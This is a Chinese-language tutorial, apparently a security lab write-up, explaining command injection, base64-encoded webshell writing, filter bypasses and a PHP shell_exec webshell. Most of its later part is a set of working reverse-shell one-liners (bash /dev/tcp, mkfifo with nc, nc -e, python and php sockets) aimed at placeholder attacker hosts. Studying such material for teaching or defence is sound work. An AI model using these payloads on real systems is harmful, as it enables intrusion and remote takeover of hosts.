[技術解析] 004 Command Injection 和 Webshell:實現 Reverse Shell 的相關解釋

本篇文章說明會分成幾個部分,包含:

  1. 為什麼在 webshell 中使用 echo + Base64 這種方式去看檔案/寫檔案?
  2. 還有沒有別的 Command Injection 技巧?
  3. 為什麼有時候直接送某些 Reverse Shell 指令會失敗?
  4. 把程式當成 webshell 要怎麼做 Reverse Shell?

1. 為什麼會使用 echo + Base64?

在某些情況下,目標網站(或主機)上的常見工具、路徑可能有限制,或是字串中有特殊字元容易被攔截。這時候把內容(例如:一句話 Webshell、或想 dump 的檔案內容)先用 Base64 編碼,可以避免部分字元被阻擋、逃逸處理比較好做,也可以用 echo -n "編碼後字串" | base64 -d > ... 的方式寫檔案。常見的用法像是:

echo "PD9waHAgaWYo...snip...?>" | base64 -d > /var/www/html/shell.php

或者你手上沒有 wget/curl 又想把原始碼拿出來看,就可以:

cat /var/www/html/command.php | base64

在瀏覽器那邊看完整段 Base64,再自己本地端 base64 -d 就能把目標檔案完整還原出來。

為什麼「一開始」會想到用這種方式?

  • 通用性高:在大多數類 Unix 系統上,echobase64 幾乎都可用。
  • 繞過某些過濾:有些 WAF 或簡單的過濾機制,可能會攔截關鍵字(像 cat, ls, nc, sh),但比較不會攔 base64
  • 方便一次完整取得檔案:用 cat 取得檔案或用 cat file | base64 可以直接一次把內容“準確地”傳到前端。

2. 還有沒有別的 Command Injection 技巧?

比如:
1. 管線 (|) / && / ; / || 等運算子
比如在某些脆弱的參數後面接 ; ls -al;| whoami 等。
2. $( ) 或 ` `
一些程式如果不小心把使用者輸入直接放進 exec()system(),可以嘗試 cmd=$(whoami) 之類的語法來執行更多指令。
3. 換行 / URL編碼 / 特殊字元繞過
有時候會透過 %0a (換行) 或其他特殊符號分段執行指令。
4. 內建命令替代
如果 cat 不在,可能改用 tail -c 999999 filehead -c 999999 file,或者 awk '{print}' file 等等。

當然詳細還要看目標主機的環境、可用命令,以及過濾規則。

3. 為什麼有時候直接送 Reverse Shell 的指令會失敗?

常見失敗原因大概有這幾種:

  1. 功能或套件不在
    • nc 不一定有安裝(或沒有 -e 參數的版本)。
    • bash 不一定在 /bin/bash,或目標是一個精簡版容器(如 Alpine)只用 sh
    • pythonperl 未安裝。
  2. 權限或路徑問題
    • Web Server 的權限不足,無法執行某些動作。
    • 路徑不正確;在命令注入中可能被過濾空白、特殊字元。
  3. 防火牆 / 網路問題
    • 目標機器對外無法連出去(出站流量被防火牆擋住)。
    • 或你本地端沒有開好 Listener,或被自己的防火牆擋掉。
  4. 遭到 WAF / IDS 攔截
    • 直接出現 bash -c "bash -i >& /dev/tcp/..." 這類關鍵字,可能被攔。

也因此,有時候要先測試簡單的指令能不能執行,確定過濾機制,再一步步嘗試比較複雜的 Reverse Shell Payload。


4. 如果把它當作 webshell,要怎麼做 Reverse Shell?

command.php 內容,可以看到程式碼類似:

if (_SERVER['REQUEST_METHOD'] === 'POST') {cmd = _POST['cmd'] ?? '';output = shell_exec(cmd);
    writeLog("log something:cmd");
}

那它其實就是一個 Webshell:在前端表單輸入任何系統指令,它都會透過 shell_exec($cmd) 幫你執行,再把結果顯示出來。

所以當作 Webshell 就代表「你每一次透過瀏覽器對它下指令」,等同於在目標機器上開一個終端介面。那要做 Reverse Shell 時,可以輸入任何一條 可以反彈連線 的指令,例如:

  1. 常見 bash one-liner
    bash -c 'bash -i >& /dev/tcp/攻擊者IP/攻擊者Port 0>&1'
    

    但如果 `bash` 不在就會失敗。

  2. sh + mkfifo
    rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/sh -i 2>&1 | nc 攻擊者IP 攻擊者Port > /tmp/f
    

    前提是 `nc`、`mkfifo` 有裝。

  3. nc -e(有些 nc 老版本有 -e):
    nc -e /bin/sh 攻擊者IP 攻擊者Port
    
  4. python / perl / php 版本:
    python -c 'import socket,os,pty; s=socket.socket(); s.connect(("攻擊者IP", 攻擊者Port)); os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); pty.spawn("/bin/sh")'
    

    或者

    php -r '$sock=fsockopen("攻擊者IP",攻擊者Port);exec("/bin/sh -i <&3 >&3 2>&3");'
    

    只要看目標機器上能不能跑這些直譯器。

送不出去怎麼辦?

  • 確認你在自己電腦上 nc -lvp 攻擊者Port 有真的在 listen。
  • 測試看看目標機器能不能 pingcurl 你的 IP,確定路徑可通。
  • 若 outbound 被擋,也許只能想辦法做「bind shell」(讓靶機在某 port listen,自己連過去),不過 bind shell 又容易被防火牆擋。

可以直接做為webshell 是什麼意思

意思就是:你已經擁有一個可以執行任意指令的程式(比方 command.php),它等同於一句話 Webshell。大部分的外部指令都可以透過這個「表單 → POST → shell_exec」的方式執行,不需要再另存任何檔案 也能操作系統。
若你想要再裝個方便的反彈連線,其實可以透過這個 webshell 下你想要的指令(例如上面的 bash or python one-liner)來彈回來。


小結

  • echo + base64 的做法是利用通用性、可避免字元過濾、方便一次性傳大段內容或寫檔。
  • 還有其他 command injection 技巧,多半圍繞在如何繞過字元過濾、或用系統上可用的指令來完成相同功能。
  • Reverse Shell 有時候失敗,通常是環境/權限/防火牆/指令不存在的問題;可考慮換別種 payload。
  • 如果程式已經幫忙執行 $cmd,那它就是 webshell;要反彈連線就是直接對它下對應的一行指令,就能拿到 shell。
飛飛
飛飛